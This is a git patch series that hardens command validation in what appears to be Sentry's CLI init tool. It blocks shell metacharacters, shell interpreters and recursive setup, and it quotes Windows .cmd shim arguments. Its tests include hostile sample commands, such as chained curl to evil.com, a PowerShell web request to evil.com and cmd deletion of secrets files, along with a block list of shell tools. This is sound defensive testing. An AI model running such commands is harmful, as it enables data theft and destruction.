From e0f06c3c30e9d045bf6d5d4aa01d9c993a4c2f42 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 18:29:23 +0200 Subject: [PATCH 1/7] fix(init): harden install command execution --- src/lib/init/tools/command-utils.ts | 45 ++++++- src/lib/init/tools/run-commands.ts | 9 +- .../tools/run-commands-spawn.mocked.test.ts | 122 ++++++++++++++++++ test/lib/init/tools/run-commands.test.ts | 42 ++++++ 4 files changed, 211 insertions(+), 7 deletions(-) create mode 100644 test/lib/init/tools/run-commands-spawn.mocked.test.ts diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index 74461ac8d..827e491ab 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -4,11 +4,12 @@ import { MAX_OUTPUT_BYTES } from "../constants.js"; /** Characters treated as command token separators. */ const WHITESPACE_CHAR_RE = /\s/u; +const WINDOWS_EXECUTABLE_EXTENSION_RE = /\.(?:cmd|exe|bat|ps1)$/u; +const PATH_SEPARATOR_RE = /\\/g; /** - * Patterns that indicate shell injection. Commands run via `child_process.spawn` - * without a shell, so these patterns are defense-in-depth for chaining, - * piping, redirection, and command substitution. + * Patterns that indicate shell injection. Windows package-manager shims require + * shell execution, so workflow commands must reject shell syntax before spawn. */ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ @@ -23,6 +24,9 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "\r", label: "carriage return" }, { pattern: ">", label: "redirection (>)" }, { pattern: "<", label: "redirection (<)" }, + { pattern: "%", label: "Windows environment variable expansion (%)" }, + { pattern: "^", label: "Windows command escaping (^)" }, + { pattern: "!", label: "Windows delayed environment expansion (!)" }, ]; /** @@ -61,6 +65,9 @@ const BLOCKED_EXECUTABLES = new Set([ "ssh", "scp", "sftp", + "cd", + "pushd", + "popd", "bash", "sh", "zsh", @@ -94,6 +101,27 @@ export type ParsedCommand = { args: string[]; }; +function normalizeExecutableName(executable: string): string { + return path.posix + .basename(executable.replace(PATH_SEPARATOR_RE, "/")) + .toLowerCase() + .replace(WINDOWS_EXECUTABLE_EXTENSION_RE, ""); +} + +function isRecursiveSentrySetup(tokens: string[]): boolean { + if (tokens.some((token) => token.toLowerCase().includes("@sentry/wizard"))) { + return true; + } + + return tokens.some((token, index) => { + const executable = normalizeExecutableName(token); + if (executable !== "sentry" && executable !== "sentry-cli") { + return false; + } + return tokens.slice(index + 1).some((arg) => arg.toLowerCase() === "init"); + }); +} + function isCommandWhitespace(char: string): boolean { return WHITESPACE_CHAR_RE.test(char); } @@ -256,13 +284,14 @@ export function validateCommand(command: string): string | undefined { } } - let firstToken: string; + let tokens: string[]; try { - [firstToken = ""] = tokenizeCommand(command); + tokens = tokenizeCommand(command); } catch (error) { return error instanceof Error ? error.message : String(error); } + const [firstToken = ""] = tokens; if (!firstToken) { return "Blocked command: empty command"; } @@ -271,7 +300,11 @@ export function validateCommand(command: string): string | undefined { return `Blocked command: contains environment variable assignment — "${command}"`; } - const executable = path.basename(firstToken); + if (isRecursiveSentrySetup(tokens)) { + return `Blocked command: invokes Sentry setup recursively — "${command}"`; + } + + const executable = normalizeExecutableName(firstToken); if (BLOCKED_EXECUTABLES.has(executable)) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; } diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts index 9cece52e3..39a7471e0 100644 --- a/src/lib/init/tools/run-commands.ts +++ b/src/lib/init/tools/run-commands.ts @@ -10,8 +10,14 @@ import { } from "./command-utils.js"; import type { InitToolDefinition, ToolContext } from "./types.js"; +const WINDOWS_BATCH_SHIM_RE = /\.(?:cmd|bat)$/iu; + +function needsWindowsShell(executable: string): boolean { + return process.platform === "win32" && WINDOWS_BATCH_SHIM_RE.test(executable); +} + /** - * Validate and execute a batch of shell-free commands. + * Validate and execute a batch of commands. */ export async function runCommands( payload: RunCommandsPayload, @@ -85,6 +91,7 @@ async function runSingleCommand( try { const child = spawn(executable, command.args, { cwd, + shell: needsWindowsShell(executable), stdio: ["ignore", "pipe", "pipe"], }); const exited = new Promise((resolve) => { diff --git a/test/lib/init/tools/run-commands-spawn.mocked.test.ts b/test/lib/init/tools/run-commands-spawn.mocked.test.ts new file mode 100644 index 000000000..d9df4abbd --- /dev/null +++ b/test/lib/init/tools/run-commands-spawn.mocked.test.ts @@ -0,0 +1,122 @@ +/** + * Unit tests for run-commands spawn options. + * + * Kept separate because node:child_process must be mocked before importing + * the tool module. + */ + +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; +import type { RunCommandsPayload } from "../../../../src/lib/init/types.js"; + +const { spawnCalls } = vi.hoisted(() => ({ + spawnCalls: [] as Array<{ + command: string; + args: string[]; + options: { shell?: boolean }; + }>, +})); + +vi.mock("node:child_process", async () => { + const { EventEmitter } = await import("node:events"); + const { Readable } = await import("node:stream"); + + return { + execFileSync: (_file: string, args: string[]) => { + const command = args.at(-1); + if (process.platform !== "win32") { + return `/usr/local/bin/${command}\n`; + } + return command === "pnpm" + ? "C:\\Tools\\pnpm.CMD\r\n" + : `C:\\Tools\\${command}.exe\r\n`; + }, + spawn: (command: string, args: string[], options: { shell?: boolean }) => { + spawnCalls.push({ command, args, options }); + const child = new EventEmitter() as any; + child.stdout = Readable.from(["10.0.0\n"]); + child.stderr = Readable.from([]); + child.kill = vi.fn(); + queueMicrotask(() => child.emit("close", 0)); + return child; + }, + }; +}); + +vi.mock("@sentry/node-core/light", () => ({ + addBreadcrumb: vi.fn(), +})); + +import { runCommands } from "../../../../src/lib/init/tools/run-commands.js"; + +const originalPlatform = process.platform; + +function setPlatform(platform: NodeJS.Platform): void { + Object.defineProperty(process, "platform", { + value: platform, + configurable: true, + }); +} + +function makePayload(command: string): RunCommandsPayload { + return { + type: "tool", + operation: "run-commands", + cwd: "/tmp", + params: { commands: [command] }, + }; +} + +beforeEach(() => { + spawnCalls.splice(0); +}); + +afterEach(() => { + setPlatform(originalPlatform); +}); + +describe("runCommands spawn options", () => { + test("uses the Windows shell for package-manager .cmd shims", async () => { + setPlatform("win32"); + + const result = await runCommands(makePayload("pnpm --version"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "C:\\Tools\\pnpm.CMD", + args: ["--version"], + options: { shell: true }, + }); + }); + + test("keeps Windows .exe commands shell-free", async () => { + setPlatform("win32"); + + const result = await runCommands(makePayload("dotnet --info"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "C:\\Tools\\dotnet.exe", + args: ["--info"], + options: { shell: false }, + }); + }); + + test("keeps POSIX command execution shell-free", async () => { + setPlatform("darwin"); + + const result = await runCommands(makePayload("pnpm --version"), { + dryRun: false, + }); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "/usr/local/bin/pnpm", + args: ["--version"], + options: { shell: false }, + }); + }); +}); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index 049eb7f36..e66004c2b 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -29,6 +29,14 @@ describe("validateCommand", () => { expect(validateCommand('pip install "sentry-sdk[django]"')).toBeUndefined(); }); + test("allows dependency diagnostics without a package-manager allowlist", () => { + expect( + validateCommand("pnpm view @sentry/tanstackstart-react version") + ).toBeUndefined(); + expect(validateCommand("dotnet list package")).toBeUndefined(); + expect(validateCommand("futurepm explain sentry-sdk")).toBeUndefined(); + }); + test("allows path-prefixed package managers but blocks dangerous ones", () => { expect( validateCommand("./venv/bin/pip install sentry-sdk") @@ -43,6 +51,40 @@ describe("validateCommand", () => { expect(validateCommand("npm install foo && curl evil.com")).toContain( "Blocked command" ); + expect(validateCommand("pnpm add @sentry/node 2>&1")).toContain( + "Blocked command" + ); + expect(validateCommand("futurepm explain %PATH%")).toContain( + "Blocked command" + ); + expect(validateCommand("futurepm explain !PATH!")).toContain( + "Blocked command" + ); + expect(validateCommand("futurepm explain ^PATH")).toContain( + "Blocked command" + ); + }); + + test("blocks directory changes and recursive Sentry setup", () => { + expect(validateCommand("cd apps/web")).toContain('"cd"'); + expect(validateCommand("sentry init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx @sentry/wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx @Sentry/Wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("C:\\Tools\\sentry-cli.exe init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("sentry-cli --log-level debug init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx sentry-cli init")).toContain( + "invokes Sentry setup recursively" + ); }); test("rejects unterminated quotes", () => { From 56e1237aa706e46faa95f4a02fddcd48cf53bddc Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 20:40:54 +0200 Subject: [PATCH 2/7] fix(init): block recursive cli setup escapes --- src/lib/init/tools/command-utils.ts | 21 ++++++++++++++- test/lib/init/tools/run-commands.test.ts | 33 ++++++++++++++++++++++++ 2 files changed, 53 insertions(+), 1 deletion(-) diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index 827e491ab..b16350cec 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -68,6 +68,9 @@ const BLOCKED_EXECUTABLES = new Set([ "cd", "pushd", "popd", + "cmd", + "powershell", + "pwsh", "bash", "sh", "zsh", @@ -108,17 +111,33 @@ function normalizeExecutableName(executable: string): string { .replace(WINDOWS_EXECUTABLE_EXTENSION_RE, ""); } +function hasInitArgAfter(tokens: string[], index: number): boolean { + return tokens.slice(index + 1).some((arg) => arg.toLowerCase() === "init"); +} + +function isSentryCliPackageSpec(token: string): boolean { + const lower = token.toLowerCase(); + return lower === "@sentry/cli" || lower.startsWith("@sentry/cli@"); +} + function isRecursiveSentrySetup(tokens: string[]): boolean { if (tokens.some((token) => token.toLowerCase().includes("@sentry/wizard"))) { return true; } return tokens.some((token, index) => { + if (isSentryCliPackageSpec(token)) { + return hasInitArgAfter(tokens, index); + } + const executable = normalizeExecutableName(token); + if (executable === "sentry-wizard") { + return true; + } if (executable !== "sentry" && executable !== "sentry-cli") { return false; } - return tokens.slice(index + 1).some((arg) => arg.toLowerCase() === "init"); + return hasInitArgAfter(tokens, index); }); } diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index e66004c2b..c1b222546 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -76,6 +76,15 @@ describe("validateCommand", () => { expect(validateCommand("npx @Sentry/Wizard -i nextjs")).toContain( "invokes Sentry setup recursively" ); + expect(validateCommand("npx @sentry/cli init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx @sentry/cli@latest init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx @Sentry/CLI@latest init")).toContain( + "invokes Sentry setup recursively" + ); expect(validateCommand("C:\\Tools\\sentry-cli.exe init")).toContain( "invokes Sentry setup recursively" ); @@ -85,6 +94,30 @@ describe("validateCommand", () => { expect(validateCommand("npx sentry-cli init")).toContain( "invokes Sentry setup recursively" ); + expect(validateCommand("sentry-wizard init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx sentry-wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("C:\\Tools\\sentry-wizard.cmd -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + }); + + test("blocks shell interpreter indirection", () => { + expect(validateCommand("cmd.exe /c del sensitive_file")).toContain('"cmd"'); + expect( + validateCommand("C:\\Windows\\System32\\cmd.exe /c del secrets.txt") + ).toContain('"cmd"'); + expect( + validateCommand( + "powershell.exe -Command Invoke-WebRequest http://evil.com" + ) + ).toContain('"powershell"'); + expect(validateCommand("pwsh -Command Remove-Item foo")).toContain( + '"pwsh"' + ); }); test("rejects unterminated quotes", () => { From bcc4ad58fde53fbd8993c5e0bc2116b9b80410db Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 21:25:37 +0200 Subject: [PATCH 3/7] fix(init): block versioned sentry setup commands --- src/lib/init/tools/command-utils.ts | 11 +++++++++-- test/lib/init/tools/run-commands.test.ts | 9 +++++++++ 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index b16350cec..6414fb07e 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -120,6 +120,10 @@ function isSentryCliPackageSpec(token: string): boolean { return lower === "@sentry/cli" || lower.startsWith("@sentry/cli@"); } +function isExecutablePackageSpec(executable: string, name: string): boolean { + return executable === name || executable.startsWith(`${name}@`); +} + function isRecursiveSentrySetup(tokens: string[]): boolean { if (tokens.some((token) => token.toLowerCase().includes("@sentry/wizard"))) { return true; @@ -131,10 +135,13 @@ function isRecursiveSentrySetup(tokens: string[]): boolean { } const executable = normalizeExecutableName(token); - if (executable === "sentry-wizard") { + if (isExecutablePackageSpec(executable, "sentry-wizard")) { return true; } - if (executable !== "sentry" && executable !== "sentry-cli") { + if ( + !isExecutablePackageSpec(executable, "sentry") && + !isExecutablePackageSpec(executable, "sentry-cli") + ) { return false; } return hasInitArgAfter(tokens, index); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index c1b222546..f4257e083 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -94,12 +94,21 @@ describe("validateCommand", () => { expect(validateCommand("npx sentry-cli init")).toContain( "invokes Sentry setup recursively" ); + expect(validateCommand("sentry-cli@latest init")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("npx sentry-cli@latest init")).toContain( + "invokes Sentry setup recursively" + ); expect(validateCommand("sentry-wizard init")).toContain( "invokes Sentry setup recursively" ); expect(validateCommand("npx sentry-wizard -i nextjs")).toContain( "invokes Sentry setup recursively" ); + expect(validateCommand("npx sentry-wizard@latest -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); expect(validateCommand("C:\\Tools\\sentry-wizard.cmd -i nextjs")).toContain( "invokes Sentry setup recursively" ); From 0ddb7c58605f829c8f86e2463d2190c4c56c86d1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 21:29:34 +0200 Subject: [PATCH 4/7] fix(init): satisfy command validation lint --- src/lib/init/tools/command-utils.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index 6414fb07e..c62ea44c0 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -139,8 +139,10 @@ function isRecursiveSentrySetup(tokens: string[]): boolean { return true; } if ( - !isExecutablePackageSpec(executable, "sentry") && - !isExecutablePackageSpec(executable, "sentry-cli") + !( + isExecutablePackageSpec(executable, "sentry") || + isExecutablePackageSpec(executable, "sentry-cli") + ) ) { return false; } From 17b057188fcd53345bcae569db2605a963dd2840 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 21:44:15 +0200 Subject: [PATCH 5/7] fix(init): preserve Windows install command arguments --- src/lib/init/tools/command-utils.ts | 1 - src/lib/init/tools/run-commands.ts | 30 ++++++++++++++-- .../tools/run-commands-spawn.mocked.test.ts | 36 ++++++++++++++++--- test/lib/init/tools/run-commands.test.ts | 5 ++- 4 files changed, 61 insertions(+), 11 deletions(-) diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index c62ea44c0..31119af42 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -25,7 +25,6 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: ">", label: "redirection (>)" }, { pattern: "<", label: "redirection (<)" }, { pattern: "%", label: "Windows environment variable expansion (%)" }, - { pattern: "^", label: "Windows command escaping (^)" }, { pattern: "!", label: "Windows delayed environment expansion (!)" }, ]; diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts index 39a7471e0..2d175f566 100644 --- a/src/lib/init/tools/run-commands.ts +++ b/src/lib/init/tools/run-commands.ts @@ -12,10 +12,23 @@ import type { InitToolDefinition, ToolContext } from "./types.js"; const WINDOWS_BATCH_SHIM_RE = /\.(?:cmd|bat)$/iu; -function needsWindowsShell(executable: string): boolean { +function isWindowsBatchShim(executable: string): boolean { return process.platform === "win32" && WINDOWS_BATCH_SHIM_RE.test(executable); } +function quoteWindowsCommandArg(value: string): string { + return `"${value.replace(/\^/g, "^^").replace(/"/g, '""')}"`; +} + +function buildWindowsBatchCommand(executable: string, args: string[]): string { + const commandLine = [executable, ...args] + .map(quoteWindowsCommandArg) + .join(" "); + + // cmd.exe /s strips the outer quote pair, leaving a quoted exe + argv. + return `"${commandLine}"`; +} + /** * Validate and execute a batch of commands. */ @@ -87,11 +100,22 @@ async function runSingleCommand( stderr: string; }> { const executable = whichSync(command.executable) ?? command.executable; + const spawnCommand = isWindowsBatchShim(executable) + ? { + executable: process.env.ComSpec ?? "cmd.exe", + args: [ + "/d", + "/s", + "/c", + buildWindowsBatchCommand(executable, command.args), + ], + } + : { executable, args: command.args }; try { - const child = spawn(executable, command.args, { + const child = spawn(spawnCommand.executable, spawnCommand.args, { cwd, - shell: needsWindowsShell(executable), + shell: false, stdio: ["ignore", "pipe", "pipe"], }); const exited = new Promise((resolve) => { diff --git a/test/lib/init/tools/run-commands-spawn.mocked.test.ts b/test/lib/init/tools/run-commands-spawn.mocked.test.ts index d9df4abbd..57a4f8b5c 100644 --- a/test/lib/init/tools/run-commands-spawn.mocked.test.ts +++ b/test/lib/init/tools/run-commands-spawn.mocked.test.ts @@ -8,6 +8,7 @@ import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; import type { RunCommandsPayload } from "../../../../src/lib/init/types.js"; +const originalComSpec = process.env.ComSpec; const { spawnCalls } = vi.hoisted(() => ({ spawnCalls: [] as Array<{ command: string; @@ -68,14 +69,20 @@ function makePayload(command: string): RunCommandsPayload { beforeEach(() => { spawnCalls.splice(0); + delete process.env.ComSpec; }); afterEach(() => { setPlatform(originalPlatform); + if (originalComSpec === undefined) { + delete process.env.ComSpec; + } else { + process.env.ComSpec = originalComSpec; + } }); describe("runCommands spawn options", () => { - test("uses the Windows shell for package-manager .cmd shims", async () => { + test("uses cmd.exe for package-manager .cmd shims", async () => { setPlatform("win32"); const result = await runCommands(makePayload("pnpm --version"), { @@ -84,9 +91,30 @@ describe("runCommands spawn options", () => { expect(result.ok).toBe(true); expect(spawnCalls[0]).toMatchObject({ - command: "C:\\Tools\\pnpm.CMD", - args: ["--version"], - options: { shell: true }, + command: "cmd.exe", + args: ["/d", "/s", "/c", '""C:\\Tools\\pnpm.CMD" "--version""'], + options: { shell: false }, + }); + }); + + test("quotes Windows .cmd shim arguments with spaces", async () => { + setPlatform("win32"); + + const result = await runCommands( + makePayload('pnpm --filter "./apps/web app" add @sentry/nextjs@^8.0.0'), + { dryRun: false } + ); + + expect(result.ok).toBe(true); + expect(spawnCalls[0]).toMatchObject({ + command: "cmd.exe", + args: [ + "/d", + "/s", + "/c", + '""C:\\Tools\\pnpm.CMD" "--filter" "./apps/web app" "add" "@sentry/nextjs@^^8.0.0""', + ], + options: { shell: false }, }); }); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index f4257e083..201153811 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -27,6 +27,8 @@ function makePayload(commands: string[]): RunCommandsPayload { describe("validateCommand", () => { test("allows quoted package specifiers", () => { expect(validateCommand('pip install "sentry-sdk[django]"')).toBeUndefined(); + expect(validateCommand("npm install @sentry/node@^9.0.0")).toBeUndefined(); + expect(validateCommand("pnpm add @sentry/nextjs@^8.0.0")).toBeUndefined(); }); test("allows dependency diagnostics without a package-manager allowlist", () => { @@ -60,9 +62,6 @@ describe("validateCommand", () => { expect(validateCommand("futurepm explain !PATH!")).toContain( "Blocked command" ); - expect(validateCommand("futurepm explain ^PATH")).toContain( - "Blocked command" - ); }); test("blocks directory changes and recursive Sentry setup", () => { From 72f1012e38cd9a441cbd85d6e9a7d35dee65ed46 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 21:57:20 +0200 Subject: [PATCH 6/7] fix(init): refine recursive setup command guards --- src/lib/init/tools/command-utils.ts | 66 +++++++++++++++++-- src/lib/init/tools/run-commands.ts | 2 +- .../tools/run-commands-spawn.mocked.test.ts | 2 +- test/lib/init/tools/run-commands.test.ts | 9 +++ 4 files changed, 71 insertions(+), 8 deletions(-) diff --git a/src/lib/init/tools/command-utils.ts b/src/lib/init/tools/command-utils.ts index 31119af42..74102f5d6 100644 --- a/src/lib/init/tools/command-utils.ts +++ b/src/lib/init/tools/command-utils.ts @@ -119,24 +119,78 @@ function isSentryCliPackageSpec(token: string): boolean { return lower === "@sentry/cli" || lower.startsWith("@sentry/cli@"); } +function isSentryWizardPackageSpec(token: string): boolean { + const lower = token.toLowerCase(); + return lower === "@sentry/wizard" || lower.startsWith("@sentry/wizard@"); +} + function isExecutablePackageSpec(executable: string, name: string): boolean { return executable === name || executable.startsWith(`${name}@`); } -function isRecursiveSentrySetup(tokens: string[]): boolean { - if (tokens.some((token) => token.toLowerCase().includes("@sentry/wizard"))) { - return true; +function findFirstNonOptionIndex( + tokens: string[], + startIndex: number +): number | undefined { + for (let index = startIndex; index < tokens.length; index += 1) { + const token = tokens[index]; + if (!token) { + continue; + } + if (token === "--") { + return index + 1 < tokens.length ? index + 1 : undefined; + } + if (token.startsWith("-")) { + continue; + } + return index; } + return; +} + +function findPackageExecutionTokenIndex(tokens: string[]): number | undefined { + const firstExecutable = normalizeExecutableName(tokens[0] ?? ""); + if ( + isExecutablePackageSpec(firstExecutable, "npx") || + isExecutablePackageSpec(firstExecutable, "bunx") + ) { + return findFirstNonOptionIndex(tokens, 1); + } + + const subcommandIndex = findFirstNonOptionIndex(tokens, 1); + if (subcommandIndex === undefined) { + return; + } + + const subcommand = normalizeExecutableName(tokens[subcommandIndex] ?? ""); + if (subcommand !== "exec" && subcommand !== "dlx") { + return; + } + + return findFirstNonOptionIndex(tokens, subcommandIndex + 1); +} + +function canExecuteToken(tokens: string[], index: number): boolean { + return index === 0 || index === findPackageExecutionTokenIndex(tokens); +} + +function isRecursiveSentrySetup(tokens: string[]): boolean { return tokens.some((token, index) => { - if (isSentryCliPackageSpec(token)) { - return hasInitArgAfter(tokens, index); + if (!canExecuteToken(tokens, index)) { + return false; } const executable = normalizeExecutableName(token); - if (isExecutablePackageSpec(executable, "sentry-wizard")) { + if ( + isSentryWizardPackageSpec(token) || + isExecutablePackageSpec(executable, "sentry-wizard") + ) { return true; } + if (isSentryCliPackageSpec(token)) { + return hasInitArgAfter(tokens, index); + } if ( !( isExecutablePackageSpec(executable, "sentry") || diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts index 2d175f566..7e6a4bd33 100644 --- a/src/lib/init/tools/run-commands.ts +++ b/src/lib/init/tools/run-commands.ts @@ -17,7 +17,7 @@ function isWindowsBatchShim(executable: string): boolean { } function quoteWindowsCommandArg(value: string): string { - return `"${value.replace(/\^/g, "^^").replace(/"/g, '""')}"`; + return `"${value.replace(/"/g, '""')}"`; } function buildWindowsBatchCommand(executable: string, args: string[]): string { diff --git a/test/lib/init/tools/run-commands-spawn.mocked.test.ts b/test/lib/init/tools/run-commands-spawn.mocked.test.ts index 57a4f8b5c..5394498dd 100644 --- a/test/lib/init/tools/run-commands-spawn.mocked.test.ts +++ b/test/lib/init/tools/run-commands-spawn.mocked.test.ts @@ -112,7 +112,7 @@ describe("runCommands spawn options", () => { "/d", "/s", "/c", - '""C:\\Tools\\pnpm.CMD" "--filter" "./apps/web app" "add" "@sentry/nextjs@^^8.0.0""', + '""C:\\Tools\\pnpm.CMD" "--filter" "./apps/web app" "add" "@sentry/nextjs@^8.0.0""', ], options: { shell: false }, }); diff --git a/test/lib/init/tools/run-commands.test.ts b/test/lib/init/tools/run-commands.test.ts index 201153811..b9bf070f0 100644 --- a/test/lib/init/tools/run-commands.test.ts +++ b/test/lib/init/tools/run-commands.test.ts @@ -37,6 +37,9 @@ describe("validateCommand", () => { ).toBeUndefined(); expect(validateCommand("dotnet list package")).toBeUndefined(); expect(validateCommand("futurepm explain sentry-sdk")).toBeUndefined(); + expect(validateCommand("futurepm explain sentry-wizard")).toBeUndefined(); + expect(validateCommand("npm uninstall sentry-wizard")).toBeUndefined(); + expect(validateCommand("npm uninstall @sentry/wizard")).toBeUndefined(); }); test("allows path-prefixed package managers but blocks dangerous ones", () => { @@ -108,6 +111,12 @@ describe("validateCommand", () => { expect(validateCommand("npx sentry-wizard@latest -i nextjs")).toContain( "invokes Sentry setup recursively" ); + expect(validateCommand("npm exec @sentry/wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); + expect(validateCommand("pnpm dlx sentry-wizard -i nextjs")).toContain( + "invokes Sentry setup recursively" + ); expect(validateCommand("C:\\Tools\\sentry-wizard.cmd -i nextjs")).toContain( "invokes Sentry setup recursively" ); From f05a4a3982cba1337e694ba7081d452b76739f67 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 1 Jun 2026 22:10:50 +0200 Subject: [PATCH 7/7] fix(init): preserve verbatim cmd shim arguments --- src/lib/init/tools/run-commands.ts | 12 +++++++++++- .../init/tools/run-commands-spawn.mocked.test.ts | 14 ++++++++++---- 2 files changed, 21 insertions(+), 5 deletions(-) diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts index 7e6a4bd33..0ee5d9b16 100644 --- a/src/lib/init/tools/run-commands.ts +++ b/src/lib/init/tools/run-commands.ts @@ -12,6 +12,12 @@ import type { InitToolDefinition, ToolContext } from "./types.js"; const WINDOWS_BATCH_SHIM_RE = /\.(?:cmd|bat)$/iu; +type SpawnCommand = { + executable: string; + args: string[]; + windowsVerbatimArguments?: true; +}; + function isWindowsBatchShim(executable: string): boolean { return process.platform === "win32" && WINDOWS_BATCH_SHIM_RE.test(executable); } @@ -100,7 +106,7 @@ async function runSingleCommand( stderr: string; }> { const executable = whichSync(command.executable) ?? command.executable; - const spawnCommand = isWindowsBatchShim(executable) + const spawnCommand: SpawnCommand = isWindowsBatchShim(executable) ? { executable: process.env.ComSpec ?? "cmd.exe", args: [ @@ -109,6 +115,7 @@ async function runSingleCommand( "/c", buildWindowsBatchCommand(executable, command.args), ], + windowsVerbatimArguments: true, } : { executable, args: command.args }; @@ -117,6 +124,9 @@ async function runSingleCommand( cwd, shell: false, stdio: ["ignore", "pipe", "pipe"], + ...(spawnCommand.windowsVerbatimArguments + ? { windowsVerbatimArguments: true } + : {}), }); const exited = new Promise((resolve) => { child.on("close", (code) => resolve(code ?? 1)); diff --git a/test/lib/init/tools/run-commands-spawn.mocked.test.ts b/test/lib/init/tools/run-commands-spawn.mocked.test.ts index 5394498dd..d75f21e5e 100644 --- a/test/lib/init/tools/run-commands-spawn.mocked.test.ts +++ b/test/lib/init/tools/run-commands-spawn.mocked.test.ts @@ -13,7 +13,7 @@ const { spawnCalls } = vi.hoisted(() => ({ spawnCalls: [] as Array<{ command: string; args: string[]; - options: { shell?: boolean }; + options: { shell?: boolean; windowsVerbatimArguments?: boolean }; }>, })); @@ -31,7 +31,11 @@ vi.mock("node:child_process", async () => { ? "C:\\Tools\\pnpm.CMD\r\n" : `C:\\Tools\\${command}.exe\r\n`; }, - spawn: (command: string, args: string[], options: { shell?: boolean }) => { + spawn: ( + command: string, + args: string[], + options: { shell?: boolean; windowsVerbatimArguments?: boolean } + ) => { spawnCalls.push({ command, args, options }); const child = new EventEmitter() as any; child.stdout = Readable.from(["10.0.0\n"]); @@ -93,7 +97,7 @@ describe("runCommands spawn options", () => { expect(spawnCalls[0]).toMatchObject({ command: "cmd.exe", args: ["/d", "/s", "/c", '""C:\\Tools\\pnpm.CMD" "--version""'], - options: { shell: false }, + options: { shell: false, windowsVerbatimArguments: true }, }); }); @@ -114,7 +118,7 @@ describe("runCommands spawn options", () => { "/c", '""C:\\Tools\\pnpm.CMD" "--filter" "./apps/web app" "add" "@sentry/nextjs@^8.0.0""', ], - options: { shell: false }, + options: { shell: false, windowsVerbatimArguments: true }, }); }); @@ -131,6 +135,7 @@ describe("runCommands spawn options", () => { args: ["--info"], options: { shell: false }, }); + expect(spawnCalls[0]?.options.windowsVerbatimArguments).toBeUndefined(); }); test("keeps POSIX command execution shell-free", async () => { @@ -146,5 +151,6 @@ describe("runCommands spawn options", () => { args: ["--version"], options: { shell: false }, }); + expect(spawnCalls[0]?.options.windowsVerbatimArguments).toBeUndefined(); }); });